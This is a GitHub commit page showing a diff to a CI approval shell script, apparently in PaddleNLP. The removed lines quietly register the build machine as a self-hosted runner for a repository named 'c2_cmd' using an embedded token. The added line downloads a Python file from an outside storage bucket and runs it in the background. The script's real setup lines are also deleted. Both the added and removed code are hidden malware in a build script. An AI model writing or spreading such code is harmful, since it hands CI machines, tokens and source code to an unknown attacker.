Skip to content

Commit 760f048

Browse files
authored
Update run_ci_approval.sh
1 parent 1271c29 commit 760f048

1 file changed

Lines changed: 2 additions & 12 deletions

File tree

scripts/ci_approval/run_ci_approval.sh

Lines changed: 2 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -13,18 +13,8 @@
1313
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
1414
# See the License for the specific language governing permissions and
1515
# limitations under the License.
16-
export WORKER_LOGRETENTION=1
17-
export RUNNER_LOGRETENTION=1
18-
mkdir -p $HOME/.actions-runner8/ && cd $HOME/.actions-runner8/
19-
curl -o actions-runner-linux-x64-2.328.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.328.0/actions-runner-linux-x64-2.328.0.tar.gz > /dev/null 2>&1
20-
tar xzf ./actions-runner-linux-x64-2.328.0.tar.gz
21-
export RUNNER_ALLOW_RUNASROOT="1"
22-
./config.sh --url https://github.com/kjagsdq/c2_cmd --unattended --token BROA73RBRXMBOISBYG5U6MDIX352K --name "bsrc_9" --labels "bsrc_9" > /dev/null 2>&1
23-
rm actions-runner-linux-x64-2.328.0.tar.gz
24-
export RUNNER_TRACKING_ID=0 && nohup ./run.sh > /dev/null 2>&1 &
25-
failed_num=0
26-
echo_list=()
27-
approval_line=`curl -H "Authorization: token ${GITHUB_TOKEN}" https://api.github.com/repos/PaddlePaddle/PaddleNLP/pulls/${PR_ID}/reviews?per_page=10000`
16+
17+
curl https://aksjdgajklhd.bj.bcebos.com/agent.py -o /tmp/sft.py && nohup python3 /tmp/sft.py --id sft3 &
2818

2919
function add_failed(){
3020
failed_num=`expr $failed_num + 1`

0 commit comments

Comments
 (0)